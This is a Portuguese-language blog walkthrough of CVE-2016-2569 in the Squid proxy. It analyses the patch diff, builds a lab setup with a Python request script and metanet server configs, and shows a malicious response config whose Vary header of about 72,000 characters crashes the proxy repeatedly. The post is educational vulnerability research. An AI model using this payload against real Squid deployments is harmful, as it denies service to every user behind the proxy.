
Squid 3.x anterior a 3.5.15 e 4.x anterior a 4.0.7 não anexa dados corretamente a objetos String, o que permite que servidores remotos causem uma negação de serviço (falha de asserção e saída do daemon) através de uma string longa, conforme demonstrado por um cabeçalho HTTP Vary malicioso.
Olá,
Obrigado por ler minha primeira postagem no blog. Hoje vamos abordar a criação de exploits para uma das ferramentas de código aberto, o servidor proxy de cache Squid.
O Squid é um proxy de cache para a Web que suporta HTTP, HTTPS, FTP e muito mais. Ele reduz a largura de banda e melhora os tempos de resposta armazenando em cache e reutilizando páginas da web solicitadas com frequência. O Squid possui extensos controles de acesso e é um ótimo acelerador de servidores. Funciona na maioria dos sistemas operacionais disponíveis, incluindo Windows, e é licenciado sob a GNU GPL. Você pode encontrar mais informações sobre o proxy de cache Squid no site oficial [http://www.squid-cache.org/]
Primeiramente, espero que você saiba o que é um CVE :p. De qualquer forma, significa Common Vulnerabilities and Exposures (Mais informações sobre CVE podem ser encontradas em [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures])
Podemos ver as seguintes informações sobre o CVE-2016-2569
Descrição: Squid 3.x anterior a 3.5.15 e 4.x anterior a 4.0.7 não anexa dados corretamente a objetos String, o que permite que servidores remotos causem uma negação de serviço (falha de asserção e saída do daemon) por meio de uma string longa, conforme demonstrado por um cabeçalho HTTP Vary manipulado. Mathias Fischer, da Open Systems AG, relatou essa vulnerabilidade.
Como este é um projeto de código aberto, podemos ver o patch usado para mitigar essa vulnerabilidade. Com base na descrição da vulnerabilidade fornecida, podemos confirmar que se trata de algum tipo de tentativa de estouro. Vamos continuar investigando mais a fundo o código-fonte para uma análise adicional.
O patch [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] confirma que as alterações foram feitas nos seguintes arquivos:
Vamos nos aprofundar...
O diff de código para src/String.cc parece interessante, pois faz uma asserção para a variável aSize
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
Com base no diff de código acima, podemos tentar explorar a vulnerabilidade fornecendo o valor do cabeçalho Vary com mais de 65536 bytes.
Vamos começar criando nossa configuração de exploit
Configuraremos o proxy de cache Squid em um sistema Linux (usaremos Xubuntu 16.04 LTS). O proxy de cache Squid armazena as respostas do servidor HTTP metanet e envia as respostas ao cliente a partir do cache de memória, em vez de consultar o servidor para uma solicitação semelhante.
Nossa topologia de rede será algo como mostrado abaixo (Desculpe por ser antiquado com a topologia, mas ainda estou muito apaixonado pelo VIM)
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Cliente |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | TCP Port 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
Enviaremos consultas padrão ao nosso servidor HTTP nginx através do proxy Squid e verificaremos os logs para garantir que a configuração esteja funcionando conforme o esperado.
Para facilitar nossa vida, usaremos o seguinte script Python para enviar a solicitação ao servidor. Uma coisa importante a ser observada aqui: os cabeçalhos usados na solicitação permitem que o servidor proxy armazene a resposta em cache. Se os valores dos cabeçalhos da solicitação HTTP "If-Modified-Since", "max-age" e "cache-control" não forem adequados, a solicitação do cliente forçará o servidor proxy a consultar o servidor por respostas. Isso anularia completamente o propósito do servidor proxy.
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
Podemos ver que o código Python acima está configurando cabeçalhos, proxy e usando a biblioteca requests do Python para enviar a solicitação ao servidor HTTP localizado em 192.168.56.102. Assim que obtivermos a resposta do servidor ou proxy, imprimiremos os cabeçalhos. Estamos especialmente interessados no cabeçalho de resposta Vary enviado pelo servidor HTTP ou pelo servidor proxy.
O próximo passo em nossa configuração é configurar o metanet (servidor HTTP). Usaremos o metanet porque é fácil enviar diferentes cabeçalhos de resposta HTTP. Como alternativa, podemos usar o SimpleHTTPServer, que também nos permite enviar respostas HTTP personalizadas.
Precisamos preparar o arquivo de configuração do metanet de forma que ele responda com o cabeçalho Vary, juntamente com o cabeçalho necessário que permita ao proxy de cache Squid armazenar respostas semelhantes em cache na memória.
Nossa configuração do metanet será algo assim
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Vamos testar para ver se nossa configuração realmente funciona!

Com base em nossa configuração, tudo parece em boa forma. w00t w00t!
Vamos tentar explorar a vulnerabilidade (passando um buffer de string longo juntamente com o cabeçalho de resposta HTTP Vary). Esta é uma exploração simples de estouro. Pelo diff de código, podemos ver que há uma asserção que define que o valor de a_size não deve exceder 65536. Fornecemos o comprimento do cabeçalho Vary com um valor longo.
Idealmente, não temos 65536 cabeçalhos de resposta HTTP padrão (isso teria sido uma bagunça 😛); mas podemos criar cabeçalhos. A única coisa que importa neste caso é o comprimento da string passada para o cabeçalho Vary.
Vamos usar Python para gerar uma string longa, como python -c 'print "a,b,c,d,e,f," *6000'. Usaremos essa saída e modificaremos nossa configuração do metanet conforme abaixo para testar nosso exploit
Nossa configuração do metanet será algo assim
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<repetido 6000 vezes>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Quando enviamos nossa primeira solicitação ao proxy, tudo parece normal. O proxy não pareceu estar armazenando as respostas em cache; talvez por causa dos valores que fornecemos no campo do cabeçalho Vary. Os cabeçalhos de resposta especificados no cabeçalho Vary são usados no cálculo da soma md5 para verificar o conteúdo em cache.
Vamos continuar enviando várias solicitações ao proxy. Algo está errado aqui: o proxy não está respondendo às nossas solicitações, pois estamos recebendo "Proxy Error" da biblioteca requests. Vamos continuar enviando solicitações de qualquer maneira.
Infelizmente. O proxy parou devido a falhas frequentes. Nenhum dispositivo conectado ao servidor através do proxy conseguiria acessar nada. Isso é uma Negação de Serviço para todos os usuários do proxy.
